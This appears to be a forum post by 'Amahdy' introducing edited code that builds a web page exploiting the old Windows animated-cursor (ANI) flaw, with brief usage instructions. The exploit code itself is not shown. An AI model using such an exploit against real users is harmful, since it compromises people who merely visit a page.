Hey;
This code simply demonstrat a bug in windows 2000/NT/XP which is execute an "ANI" file (cursor file) when opening a web site containing this script !

It may be a bit old but still "learnful"

This bugfoud by *** and the code created by *** finally edited by Amahdy and here u r :

I repeat "Edited and corrected" only okey ?
I haven't totally upgreated it to C++ but some small portion of it ..
Now how it works ?
after making the exe file drag it into the command line and put as arguments file name and webadress ...
ex:

myfile.exe index 678

If u have a good installed atispyware/antivirus you will got a clean alert from virus

[Amahdy]

Must I put this in c++ section ?
